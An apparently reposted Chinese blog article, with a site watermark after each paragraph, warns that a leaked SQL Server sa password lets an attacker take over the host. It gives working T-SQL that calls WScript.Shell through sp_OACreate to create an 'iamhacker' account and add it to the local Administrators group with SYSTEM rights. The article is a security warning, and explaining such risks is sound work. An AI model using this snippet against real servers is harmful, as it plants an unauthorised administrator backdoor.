SQLServer的安全隐患：不要以为黑掉的只是SQLSE…

SQL SERVER存在着很严重的安全隐患。sa的密码就像Administrator的密码相同重要。www.c hinaitpower.comluGuV5

假如别人获得了数据库终极用户sa的密码，那么他/她能够在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个终极用户：www.c hinaitpower.comluGuV5

declare @object int
--创建WScript.Shell
EXEC sp_OACreate 'WScript.Shell',@object OUT
--运行net user iamhacker opendoor /add
--添加一个名字为iamhacker,密码为opendoor的用户
EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
--把iamhacker添加到Administrators组中
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
--把iamhacker从User组中删除
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'www.c hinaitpower.comluGuV5

我已尝试过了。。实在太恐怖了。www.c hinaitpower.comluGuV5

上面的语句很短。核心是能够调用平台命令 net 。www.c hinaitpower.comluGuV5

其实现方法是SQL SERVER调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法：Run。（注意，一般SQL SERVER都是配置在SYSTEM的权限下运行的。也就是说，Run所调用的程式也是具备SYSTEM的权限。）www.c hinaitpower.comluGuV5

（相关的实验是，调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在）www.c hinaitpower.comluGuV5

WScript.Shell的隐患其实已在各个方面很显著了。想不到现在竟然在Sql Server上也有相关的问题。www.c hinaitpower.comluGuV5

所以。大家一定要注意保管好sa的密码。不要随便被人黑了哦。。。www.c hinaitpower.comluGuV5

www.c hinaitpower.comluGuV5

www.c hinaitpower.comluGuV5

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有